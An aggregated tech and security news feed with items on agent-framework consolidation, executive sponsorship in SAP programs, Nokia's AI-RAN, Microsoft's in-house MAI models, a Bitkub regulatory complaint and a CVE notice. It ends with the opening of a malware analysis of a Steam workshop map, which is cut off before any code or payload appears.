The surprises weren’t technical



Here’s what I didn’t see coming. The hardest part of last year wasn’t technical at all. It was organizational. The moment a team heard “agent,” expectations shifted under everyone’s feet. Business stakeholders started expecting full autonomy. Developers assumed the thing could reason its way through anything. People started designing for flexibility before we’d even agreed on what problem we were solving. The word did damage before any code did. I found myself spending as much time resetting expectations as I did discussing architecture.



Build for change, not for today’s winner



I don’t think the teams that struggled last year picked the wrong framework. Semantic Kernel was reasonable. AutoGen was reasonable. Foundry made sense for plenty of cases. I’d have signed off on any of them.



The ones that got hurt put all their eggs in one framework, treating it as the foundation of the whole system instead of as one more dependency. Microsoft provided a migration path. But teams that had tightly coupled their applications to framework-specific abstractions discovered that migrating and rewriting are not the same thing. That wasn’t Microsoft’s doing. It was their own architecture’s. The teams that moved easily had kept their business logic, prompts and orchestration loose enough to evolve independently of any one SDK. For them, the change was a manageable project, not a teardown.



For what it’s worth, nobody I work with is treating this as an emergency. Most are moving the smaller workloads first, watching how they behave and leaving the production-critical systems alone until they actually understand the new abstractions. That’s the right instinct. And I doubt this is the last consolidation we’ll see, the ecosystem is still young, frameworks will keep absorbing each other and over time the differences between them will be operational more than architectural.



I don’t regret the framework debates, honestly. They were reasonable at the time. What changed wasn’t Microsoft’s roadmap.



It was mine. Watching these systems run in production taught me that the framework is the easiest piece to swap out. Recovery logic, context management, security boundaries, the business workflow itself, those stay with you long after today’s SDK gets replaced by tomorrow’s.



So, Microsoft made one decision easier by turning three frameworks into one. Good. Five years from now we’ll be on different tools, and we’ll still be asking the same handful of questions.



Does this actually need an agent? Does it have the right context? Can it recover when something breaks, because something will? Is it acting as the right person?



Those questions outlast every rewrite. That’s where I’ve learned to put my effort.



Frameworks come and go. Good architecture has to survive all of them.



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Sponsor mismatch is the silent killer of enterprise transformation
Fri, 24 Jul 2026 11:03:44 +0200

		
					  
						




Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.



The questions were not coming from the delivery teams. They were coming from the executive sponsor.



The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.



This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.



Most program failures are not execution failures. They are sponsor mismatches.



When governance becomes a debate about delivery practices



When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.



You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.



None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.



When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.



The compounding cost is not unique to any single program. PMI’s research on executive sponsorship consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.



Authority is rarely the issue. Literacy is



When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?



In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.



This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.



Harvard Business Review’s research on effective executive sponsorship has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.



Prosci’s longstanding benchmark studies on change management have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.



Shift the conversation from delivery practices to business risk



When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.



On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.



The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.



This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.



In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.



The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.



There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:



If the decision has to go above the sponsor, they are not the sponsor.



Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.



For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.



A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.



This article is published as part of the Foundry Expert Contributor Network.
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Why enterprises should care about Nokia’s AI-RAN platform
Fri, 24 Jul 2026 10:13:45 +0200

		
					  
						




Earlier this month, Nokia provided an AI-RAN platform update that brings an AI-native and programmable compute which is projected to double spectral efficiency by 2028. This increases speed, but more importantly, it can allow mobile operators to create some actual monetization beyond connectivity.



With this release, Nokia is introducing what it calls the industry’s first commercial AI-RAN platform, built on its AI‑native anyRAN software and Nvidia’s Aerial AI-RAN stack running on merchant GPU-based accelerated computing. The company is already seeing more than 20% gains in spectral efficiency from AI-driven radio algorithms, with a roadmap to reach 50% by 2027 and more than 100% by 2028, effectively doubling capacity on existing spectrum in dense cells.



Legacy RAN infrastructure enables connectivity but not much beyond that. The AI-RAN makes the network intelligent and extends AI into the physical world, enabling telcos to get more from their infrastructure investments, including providing a path to 6G. The partnership with Nvidia brings CUDA and AI into mobile environments.



For Network World readers, the headline isn’t just that Nokia got to market first with AI‑RAN—it’s that the company is using AI and GPUs to break the historical coupling between radio performance and custom silicon refresh cycles, and to turn the RAN into an application platform.



What AI-RAN actually is



At a technical level, Nokia’s AI‑RAN is a software‑defined baseband architecture that runs Layer 1/Layer 2 RAN functions and AI models on accelerated compute, primarily GPUs, instead of being locked into fixed‑function ASICs. Udayan Mukherjee, Nokia’s CTO for RAN and core, summarized the vision in the analyst briefing: “AI‑RAN is essentially a platform that turns the radio network into a true AI‑native programmable platform… one software detached from the hardware, defining flexible hardware deployment configurations, including part of the AI grid.”



Several pillars stand out:




AI‑native design: Algorithms move from traditional linear models to increasingly nonlinear techniques (e.g., advanced channel estimation, deep receivers/transmitters, RKHS-based methods), which demand tensor-heavy compute best delivered by GPUs.



Software-defined RAN: The same anyRAN software stack runs across different hardware configurations—plug‑in cards, standalone AI‑RAN nodes, and COTS/cloud RAN—so innovation comes via software releases rather than baseband card swaps.



Programmable “D‑apps” layer: Nokia is pushing a new real‑time E3 interface from Layer 1/2 into an application layer for distributed apps (D‑apps) that can tap IQ samples, channel estimation and scheduling data for use cases such as sensing and location services.



Crucially, this isn’t meant to replace all custom silicon overnight. Mukherjee was explicit: “We are not dropping the purpose‑built product… but we want to also get to merchant silicon, because that’s the future as we want to develop bigger models and AI elements and value‑added services on top of it.” The result is a hybrid era where AI‑accelerated platforms coexist with existing basebands but begin to shoulder the most compute‑intensive workloads.




Why AI-RAN matters for operators



Nokia and its early operator partners are trying to solve three perennial problems: finite spectrum, changing traffic patterns, and the drag of hardware refresh cycles.



First, spectrum constraints. Aji Ed, Nokia’s head of AI‑RAN and cloud RAN, called spectrum “the first constraint everybody has,” noting that operators have paid “huge amount of money” for bands and now need to “get up to the 2x spectrum” in terms of usable capacity. By running more complex AI models for multi‑user MIMO pairing, channel estimation, carrier aggregation and deep receiver/transmitter functions on GPUs, Nokia believes it can unlock those gains where traditional platforms simply run out of compute headroom.



Second, traffic is shifting. Generative AI and distributed inference workloads are driving more uplink-heavy, latency‑sensitive patterns that current RANs weren’t designed for. AI‑RAN’s ability to adapt scheduling, beamforming and resource allocation dynamically via AI models deployed at the baseband is meant to keep up with this shift.



Third, innovation cadence. In Ed’s words, “hardware upgrades can’t keep up with the innovation… we can’t really have a silicon refresh cycle linked with every three‑year cycle.” Nokia’s subscription‑based software model is designed to deliver new AI algorithms, spectral‑efficiency improvements and network optimization features continuously, without requiring “forklift” hardware replacements.



For operators, the message is attractive: comparable TCO and power to existing basebands, “no hardware premium” for GPU adoption, but higher capacity and a path to new services. Nokia told analysts it has reached performance, price and energy efficiency parity between its custom GridShark silicon and GPU-based systems, while moving the baseband roadmap to merchant silicon.



Nokia’s differentiation strategy



Every major RAN vendor is talking about AI‑enhanced radio, but Nokia is drawing a line between incremental gains and what it claims is a platform shift. When asked why its 2x spectral efficiency ambition is so much higher than the ~20% numbers competitors discuss, Ed pointed to the underlying architecture: “We are able to bring much more complex algorithms into this compute infrastructure… all of these require much higher compute, which is exactly what is coming from the accelerated computing.”



Several differentiators emerge:




Aggressive spectral roadmap: Nokia is targeting 1.5x by 2027 and 2x by 2028, across TDD massive MIMO and FDD scenarios, with a feature roadmap built jointly with Nvidia and other partners.



Single code base, three deployment paths: The same anyRAN software stack runs on (1) a GPU‑powered AirScale capacity plug‑in card, (2) a high‑capacity standalone AI‑RAN node, and (3) GPU‑based COTS/cloud RAN servers. This lets operators modernize “at their own pace” and mix brownfield evolution with greenfield AI-native deployments.



Open ecosystem with D‑apps: Nokia is leaning into ORAN compliance (front‑haul, O1/O2) and actively championing the E3 interface and D‑apps concept within ORAN and AI‑RAN alliances, with Bell Labs and at least two external partners already building sensing and location applications on the platform.



Software subscription tied to value: The commercial model builds on existing software subscriptions but ties pricing more explicitly to delivered value, such as spectral efficiency improvements and new AI services, rather than pure license metrics.




Mukherjee emphasized the openness angle in the briefing: “We see a lot of third‑party applications, whether it’s improving spectral efficiency or location service or sensing, can be developed on this platform… any AI‑powered services from us in Nokia or from ecosystems can be actually developed on top of it.” For operators burned by closed optimization stacks, that’s a notable pivot.



How AI-RAN unlocks new revenue



Most operators will sign off on AI‑RAN if the capacity and TCO story holds, but the more strategic question is monetization beyond connectivity. Nokia’s spokespeople spent considerable time on this in the analyst call, pointing to several classes of services that are difficult or impossible to deliver without AI running in the RAN itself.



Examples include:




Integrated sensing: Turning the RAN into a distributed sensor grid that can support applications such as 3D mapping, gesture recognition and environmental monitoring, using the same RF infrastructure. Mukherjee noted, “We have at least two to three partners developing sensing applications on top of it… as well as two other companies developing location services.”



Physical AI and location services: For factories, logistics hubs and smart cities, AI‑RAN can provide high‑precision positioning and real‑time telemetry for robots, drones and autonomous systems by fusing radio data and AI models at the edge.



Distributed AI infrastructure: Operators exploring “AI‑native cities” can use AI‑RAN nodes and COTS GPU servers as a distributed inference fabric for applications that need tight latency to endpoints—think AR/VR offload, real‑time video analytics or interactive generative AI experiences.



Premium connectivity tiers: With fine‑grained, AI‑driven control over uplink/downlink scheduling and QoS, operators can create differentiated SLAs for enterprise slices, mission‑critical IoT and AI workloads, charging for guaranteed performance rather than best‑effort connectivity.




Ed framed the opportunity as a continuum: Superior connectivity from 2x spectral efficiency creates “space for new AI workloads and other use cases,” while the D‑apps ecosystem and subscription model provide a mechanism to package and sell those capabilities. In practice, that could look like:




Industrial sensing-as-a-service, where Nokia and partners supply D‑apps for integrated sensing and positioning, and operators monetize them per site or per device.



Network‑exposed APIs for inference, location and RF sensing, integrated into operators’ broader network API portfolios as they pursue “network-as-a-platform” strategies.



Sector‑specific AI‑native services, such as stadium analytics, transportation corridor monitoring, or drone traffic management, built by ISVs on top of Nokia’s exposed E3 data.




For operators that already use Nokia’s MantaRay and SMO stacks for cross‑network optimization, AI‑RAN essentially becomes the local real‑time execution environment, while R‑apps/X‑apps continue to orchestrate macro-level behaviors. Mukherjee described this layered architecture as “DU and CU on the platform running D‑apps using E3, interfacing to X‑apps and R‑apps through E2SM and connecting to the overall management system/SMO for lifecycle management.”



Adoption path and reality check



Nokia is not promising instant transformation. AI‑RAN pilots are slated for late 2026, with commercial availability on card‑based systems in 2027 and AirScale-based systems around 2028, all driven from a single software stack that supports 4G, 5G and is upgradable to 6G. The company already has trials and collaborations underway with T‑Mobile US, SoftBank, Indosat Ooredoo Hutchison, BT, Elisa, Vodafone, Orange, NTT Docomo, Deutsche Telekom and others.



There are still open questions around 3GPP vs ORAN standardization of E3, the maturity of the D‑apps ecosystem, and how operators will digest yet another subscription layer tied to radio software. But Nokia’s move puts a stake in the ground: in the AI era, the RAN is not just a throughput engine; it’s a programmable AI computer that can be monetized.



For Network World readers evaluating vendor roadmaps, this launch suggests a clear directional change. If Nokia hits its targets, AI‑RAN could mark the point where baseband becomes less about hardware SKUs and more about an AI platform strategy—one where spectral efficiency and new services are rolled out at “software speed,” as Ed described it, rather than at the pace of the next card generation.



Stripe reportedly in talks to buy LLM marketplace OpenRouter
Fri, 24 Jul 2026 10:03:49 +0200
Sources told The Wall Street Journal that a sale earn the three-year-old start-up roughly $10bn. 
Read more: Stripe reportedly in talks to buy LLM marketplace OpenRouter


CW@60: The mirror and the machine - three decades on the frontlines of the tech revolution
Fri, 24 Jul 2026 09:17:01 +0200
Every technology innovation and every IT project is, at its heart, a human-interest story - and those delivering the IT should always remember that, says IT services veteran Sam Kingston


Thailand SEC Files Criminal Complaint Against Bitkub Over 2021 Cyberattack
Fri, 24 Jul 2026 09:10:24 +0200
Thailand's cryptocurrency exchange Bitkub has rejected allegations of fraud after the Thailand SEC filed a criminal complaint related to the company's disclosures following the Bitkub cyberattack in 2021. The case focuses on how the exchange reported the impact of the cyberattack on Bitkub to regulators, rather than on the safety of customer funds. 

In response to the complaint, Bitkub stated that all customer assets currently held on its platform remain safe, fully accounted for, and protected in accordance with applicable regulations. The company argued that the allegations stem from decisions made during the aftermath of the 2021 security breach and do not reflect fraudulent conduct. 
Thailand SEC Files Complaint Over the 2021 Bitkub Cyberattack 
On 23 July 2026, the Thailand SEC filed a criminal complaint against Bitkub Online Co., Ltd. and its former directors, Sakolkorn Sakavee and Thaweesap Rawan. The regulator alleged that the company's daily net capital reports submitted between 10 May and 30 October 2021 failed to accurately reflect the material reduction in its digital asset holdings caused by the Bitkub cyberattack. 

According to the regulator, the reports did not disclose the impact of the theft on the company's asset balance. The Thailand SEC also accused the two former directors of making false entries in company documents that gave the impression that customer assets were still being held normally and that the company had not suffered any damage. 

The complaint has been referred to Thailand's Economic Crime Suppression Division for further investigation. Following that process, the matter may be forwarded to prosecutors and the courts. The Thailand SEC noted that filing a criminal complaint does not represent a final determination of guilt. 
Bitkub Says Disclosure Decision was Intended to Prevent Customer Losses
Following media reports about the complaint, Bitkub published a statement on LinkedIn explaining its position on the cyberattack and the subsequent reporting decisions. 

The company said the allegations relate to an incident in early May 2021, when one of its digital asset wallets was compromised by cybercriminals. Bitkub acknowledged that the breach was not disclosed at the time. 

According to the company, the individual responsible for disclosure obligations deliberately withheld information about the wallet compromise. Bitkub said the decision was made to avoid triggering a "bank run," or mass withdrawals of digital assets by customers, while the company worked to replace the stolen assets. 

The exchange stated: 

"The decision of such individual not to disclose the incident was made with the intention to prevent a bank run—that is, a mass withdrawal of digital assets by customers upon learning of the theft—which could have rendered the Company unable to procure sufficient replacement digital assets for the customers while the recovery process was still ongoing." 

Bitkub added that such a scenario could have resulted in significant customer losses and broader damage to Thailand's digital asset industry. 

The company also stressed that, at the time of the Bitkub cyberattack, all of its digital asset wallet security systems complied with standards prescribed by the relevant authorities and had been audited. 
Co-founders Replaced Stolen Assets After Cyberattack on Bitkub 
Although the digital assets stolen during the cyberattack on Bitkub were never recovered, the company said its co-founders voluntarily absorbed the financial loss. 

According to Bitkub, the co-founders purchased digital assets matching the same types and quantities as those stolen and transferred them to the company. As a result, the exchange said neither its customers nor the business ultimately suffered any financial loss from the incident. 

In its statement, Bitkub said: 

"As no bank run occurred, even though the stolen digital assets could not be recovered, the Co-Founders of the Bitkub Group voluntarily absorbed the loss by purchasing equivalent digital assets (in the same type and quantity as those stolen) and providing them to the Company. Consequently, neither the Company nor its customers suffered any financial loss from the theft." 
Thailand SEC Previously Confirmed Customer Assets Were Intact 
Bitkub also pointed to the findings of an earlier inspection conducted by the Thailand SEC after reports of the Bitkub cyberattack surfaced online. According to the company, the regulator verified that, as of 8 September 2025, all customer assets held by the exchange were safe and fully accounted for. 

The company reiterated this point in its latest statement, saying: 

"At the outset, for the sake of clarity and mutual understanding, the Company wishes to affirm that all customers' assets currently held by the Company are safe and fully accounted for. The Company reiterates its strict compliance with all applicable laws and regulations in safeguarding and maintaining customer assets." 

Bitkub maintained that the criminal complaint relates to historical reporting practices between May and October 2021, more than five years ago, rather than to the current condition of customer assets or any ongoing security concerns. 

As the investigation proceeds, the case will determine whether the company's reporting following the Bitkub cyberattack complied with regulatory requirements. For now, the complaint remains an allegation, and the legal process involving the Thailand SEC, investigators, prosecutors, and the courts has yet to reach a final conclusion. 


Universities should arm students with AI ‘eval’ powers
Fri, 24 Jul 2026 05:48:43 +0200
Organisations will need people with the skills to test models constantly against what they actually need


How do you interpret JSIG AC-10?
Fri, 24 Jul 2026 03:11:51 +0200
Hello all,
 I am curious if anyone has to deal with the JSIG AC-10 control in their environment. As a reminder, here it is:
 AC-10 CONCURRENT SESSION CONTROL Control: The information system limits the number of concurrent sessions for each non-privileged and privileged to maximum of three (3) sessions. Supplemental Guidance: Organizations may define the maximum number of concurrent sessions for information system accounts globally, by account type (e.g., privileged user, non-privileged user, domain, specific application), by account, or a combination. For example, organizations may limit the number of concurrent sessions for system administrators or individuals working in particularly sensitive domains or mission-critical applications. This control addresses concurrent sessions for information system accounts and does not address concurrent sessions by single users via multiple system accounts. This control may require third party software or development of a script. 
 I have a solution set up in my environment that tracks how many logons a person does (stored in sqlite3 db). In my pam.d files, I have it check on logon and denies a person from opening more than 3 (ssh, console, xrdp) sessions. It works pretty good although annoying when I want to open a bunch of sessions on patch weekend.
 I am starting to question why that might matter. What I would more than likely expect to see is "control how many concurrent sessions per machine there are". This certainly seems to be what RHEL-09-412040 talks about, which is /etc/security/limits.conf "maxlogins". That could help prevent DDOS.
 How do you interpret this? How do you meet this control in your environments?
 
   submitted by    /u/Hxcmetal724  
 [link]   [comments]


Microsoft launches new in-house AI models it says cut costs up to 89% versus OpenAI
Fri, 24 Jul 2026 02:50:17 +0200
Microsoft AI released two new in-house models into public preview on Wednesday — MAI-Image-2.5-Pro, its highest-fidelity image generator to date, and MAI-Voice-2-Flash, a speech model built for high-volume enterprise workloads — while publishing production data that amounts to the company's most aggressive argument yet that it can power its own products without leaning on OpenAI's frontier models.
The announcement, made by Microsoft AI's Superintelligence team, lands roughly a year after the company committed to building purpose-built models internally, and it arrives with an unusual level of specificity about where those models now run: Bing, PowerPoint, OneDrive, Dynamics 365, Excel, GitHub Copilot, and Azure. The message to enterprise buyers — and, implicitly, to OpenAI — is that Microsoft's homegrown models are no longer research projects. They are production infrastructure serving millions of users.
"Each of these enhancements is a step toward the same goal: Microsoft products, powered by Microsoft models," the company wrote in its announcement blog.
How MAI-Image-2.5-Pro and MAI-Voice-2-Flash stake out opposite ends of the AI cost curve
The two new releases occupy opposite ends of what Microsoft calls the quality-speed-cost curve, and the positioning is deliberate. MAI-Image-2.5-Pro targets the premium tier: hero imagery, detailed editing, and precise in-image text rendering — the last of which has long been a notorious weak spot for image generation models. Microsoft priced the model at $5 per million text input tokens, $8 per million image input tokens, and $106 per million image output tokens. The base MAI-Image-2.5 model recently launched at No. 2 for image editing on Arena, the community leaderboard that has become a de facto scoreboard for generative media.
The creative industry appears to be taking notice. Rob Reilly, global chief creative officer at advertising giant WPP, called the Pro model "a strong leap forward for GenMedia tools" in a statement included in Microsoft's announcement, adding that "Microsoft has firmly established itself among the leaders in generative AI."
MAI-Voice-2-Flash goes the other direction. First previewed at Microsoft's Build conference, Flash runs twice as fast as MAI-Voice-2 and costs 32% less, priced at $15 per million characters. It is designed for the unglamorous but enormous market of high-volume voice — call centers, voice agents, and real-time speech applications where latency and cost-per-call matter more than marginal gains in expressiveness. Together, the two models reflect a strategy of building families of models rather than a single flagship, because, as the company put it, a creative studio chasing maximum fidelity has very different needs from a customer service operation handling millions of calls a day.
Microsoft's production metrics show in-house models cutting GPU costs by up to 89%
The model launches are arguably less newsworthy than the deployment metrics Microsoft attached to them — numbers that read like a systematic case for swapping out third-party frontier models across its product portfolio. 
Bing Image Creator now runs entirely on MAI-Image-2.5, end to end, marking the first time the consumer image tool is fully in-house. In PowerPoint, Microsoft says MAI-Image-2.5 reduces GPU costs by up to 84% compared with GPT-Image-2, OpenAI's image model. In OneDrive, where MAI-Image-2.5 is now the default for key image-editing scenarios, the company reports a 26% increase in save rates, roughly 25% lower P95 latency, and 2.5 times greater efficiency under medium-utilization production workloads.
On the voice side, MAI-Voice-2-Flash now powers Dynamics 365 Contact Center — the platform used by customers including T-Mobile and EasyJet — where Microsoft claims GPU cost reductions of up to 89%. The model is also integrated into Azure Voice Live for developers building speech-to-speech agents.
Perhaps the most consequential deployment sits in healthcare. Microsoft's Dragon Copilot, used by 170,000 medical providers and responsible for processing 28 million patient encounters last quarter, now runs on MAI-Transcribe-1.5 for its multilingual workflow across 58 languages. Microsoft says internal evaluations show a 50% relative reduction in both transcription and language-identification error rates across most languages — a meaningful claim in a domain where transcription errors can propagate directly into clinical notes.
Inside the 'hill-climbing' strategy that lets small models beat GPT-5.6 in Excel
In a companion post published the same day, Microsoft detailed the methodology behind these results — what it calls its "hill-climbing machine," an integrated flywheel of data, models, and the product "harness" that surrounds them.
The clearest example is MAI-Code-1-Flash, the lightweight coding model launched in GitHub Copilot in June. Microsoft says the model achieves an approximately 10% higher code accept rate than GPT-5.4 Mini and Claude Haiku 4.5 in VS Code, while using 10% fewer median tokens. Developer retention tells a similar story: users were 6% more likely to return across multiple days than with GPT-5.4 Mini, and 11% more likely than with Claude Haiku 4.5.
Then Microsoft did something more interesting. It took the MAI-Code-1-Flash checkpoint and further trained it inside an Excel reinforcement learning environment, teaching a coding model the tools and workflows of spreadsheet knowledge work. The result, according to production user feedback, is a model on par with GPT-5.6 for the most common Excel tasks — while being small enough to run on Nvidia's older H100 and even A100 GPUs rather than requiring the latest-generation accelerators.
That hardware detail deserves emphasis. Every major AI company is fighting for allocation of cutting-edge chips, and a model that delivers frontier-adjacent quality on two-generation-old silicon fundamentally changes the deployment economics. It also frees the newest hardware — including Microsoft's now-operational GB200 cluster — for training rather than serving.
Satya Nadella's 'frontier diffusion' manifesto redraws the OpenAI relationship
Microsoft CEO Satya Nadella framed the announcements in a lengthy post on X titled "Frontier Diffusion & Control," which functions as something close to a strategic manifesto. "We can now take saturated frontier capabilities and deliver them at scale and at lower cost through models optimized for high-usage products, while continuing to use frontier models for frontier needs," Nadella wrote, adding that Microsoft is "beginning to route traffic across our first-party surfaces to MAI whenever our models match or outperform frontier alternatives."
Translated from executive prose: capabilities that were state-of-the-art a year ago are now table stakes, and Microsoft believes it can replicate them cheaply for the specific, repetitive tasks that dominate real product usage. Why pay frontier prices for a frontier model when a user just wants to reformat a spreadsheet column?
Nadella was careful to note that "frontier models from OpenAI and Anthropic are part of the orchestration system alongside MAI" — but he also articulated a pointed principle of model independence, arguing that a company's evaluations "should continue to hill climb even when any given model has been removed." 
“Keeping the harness, memory, context, and skills outside the model, he argued, is what gives Microsoft control. The subtext is hard to miss. Reuters reported in April that Microsoft’s exclusive license to OpenAI’s technology had been revised into a non-exclusive arrangement, and The Information reported last September that Microsoft had begun incorporating Anthropic models into some products. Wednesday’s announcement completes the triangle: Microsoft as orchestrator, with its partners’ frontier models as interchangeable components and its own models absorbing an ever-larger share of routine traffic.”
Developers cheer cheaper task-specific models while skeptics question Microsoft's track record
The response online captured both the appeal and the skepticism surrounding the strategy. "I love when people use small models for niche tasks," wrote one X user, @mavihsk, responding to Nadella's post. "Why do I have to use the all-knowing model just to change my field in Excel?" Another user, @nabu_lines, distilled the pitch neatly: "cost and performance both improve when you stop overusing the biggest model."
Others were less charitable about Microsoft's execution track record. "Microsoft is the worst when it comes to listening to user feedback," wrote designer @designedbyabin, arguing the company "will lose the AI race because they repeatedly failed to understand user needs." And one user, @tokenoverflow, offered a drier critique of the model-independence pitch: "i want it keep hill climbing after removing microsoft."
The skeptics raise a fair point. Microsoft's self-reported metrics — accept rates, save rates, GPU savings — come from its own internal evaluations, not independent benchmarks, and the company chooses which comparisons to publish.
But the strategy's logic does not depend on any single number. Nadella's framing that software now has "real marginal cost for the first time" explains why Microsoft is obsessive about tokens, GPUs, and serving costs: when AI features run on every keystroke across a billion-user product portfolio, an 84% GPU cost reduction is not an optimization. It is the difference between a viable business and a money pit.
Why Microsoft is turning its internal AI playbook into an Azure product
The final piece of the strategy is that Microsoft is selling the playbook, not just the models. Nadella explicitly positioned the hill-climbing approach as "a template for every other AI native, SaaS, or Enterprise company," and Microsoft is packaging the toolchain through Foundry and what it calls Frontier Tuning — letting enterprises train specialized models against their own proprietary evaluations and reinforcement learning environments. That turns Microsoft's internal cost-cutting exercise into an Azure product, and it gives enterprise customers a reason to run their AI workloads on Microsoft's cloud even if the models themselves come from elsewhere.
The company's emphasis on models trained "on clean, traceable, enterprise-grade data, without distillation from third-party models" serves the same commercial end. In an industry facing mounting scrutiny over training data provenance, Microsoft is betting that enterprise buyers — and courts — will care where model capabilities come from. Microsoft says it is now extending the hill-climbing approach to Copilot Chat, Outlook, and PowerPoint, and both new models are available in public preview through Microsoft Foundry and the MAI Playground. "None of this is an endpoint," the company wrote. "We're just getting started."
Seven years ago, Microsoft bet more than $13 billion that OpenAI would build the future of AI. Wednesday's announcement suggests the company has since learned a cheaper lesson: the future of AI may belong to whoever builds the frontier, but the profits belong to whoever makes it ordinary.


DEF CON Room Blocks: Only a Week Left!
Fri, 24 Jul 2026 01:56:35 +0200
 

    The DEF CON room blocks at the Wynn and Encore are now sold out.  You can still get a block discount at these three hotels:


	
	Embassy Suites


	
	Spring Hill Suites


	
    Renaissance


	
	The special rates are only available until July 15, so act expeditiously. 


	
	Less than a month to go! Are you ready?


CVE-2026-6924 | Silicon Labs Matter Entropy Initialization random values (EUVD-2026-48399)
Fri, 24 Jul 2026 00:45:01 +0200
A vulnerability described as problematic has been identified in Silicon Labs Matter. This vulnerability affects unknown code of the component Entropy Initialization. Such manipulation leads to insufficiently random values.

This vulnerability is traded as CVE-2026-6924. The attack may be launched remotely. There is no exploit available.


Workshop map for MECCHA CHAMELEON is a malware dropper (full breakdown)
Fri, 24 Jul 2026 00:21:11 +0200
Table of Contents
  Intro
 Initial Symptom
 First Look at the Workshop Files
 Verifying the Asset Files
 AssetRegistry.bin Reveals the First Clue
 Opening the UE5 Asset Container
 Reverse Engineering the Blueprint
 Extracting the Embedded Payload
 Analyzing the Dropper Script
 Confirming Execution on an Affected PC
 Did the Second Stage Execute?
 Analysis Summary
 Limitations & Unknowns
 IOCs
 Final verdict
 
 A couple of my friends reported seeing a command prompt window briefly appear while Steam was downloading a custom workshop map. The map was being downloaded through the game's in-game lobby and, once the download completed it immediately began loading for the match. Since the command prompt window appeared during this transition, I decided to investigate the workshop files.
 What I found was a seemingly ordinary workshop map that contained what appears to be a malware dropper, despite having passed workshop review.
 I'm writing this up because, as far as I know, the map is still available, and because the techniques it uses to hide are worth understanding if you download workshop content. While there are still a few parts of the execution chain I can't fully explain, the artifacts themselves are interesting from a reverse engineering perspective.
 https://preview.redd.it/nn7j9wf4q1fh1.png?width=1265&format=png&auto=webp&s=0276954f24bafc16cee6b2fc2569c12bedeaea51
 1): The Initial Symptom
 A black command prompt window flashed on screen for about a second before disappearing. It appeared while Steam was still downloading the workshop map, just as the game was transitioning into loading it for the match. There were no crashes, error messages, or any other unusual behavior. On its own, it would have been easy to dismiss as Steam running a background process, but seeing a console window appear during a workshop download / match launch was unusual enough that I decided to investigate.
 2): First Look at the Workshop Files
 The workshop content is located here:
 Steam\steamapps\workshop\content\4704690\3765145606\ 
 At first glance, there’s nothing suspicious in the folder. The contents are:
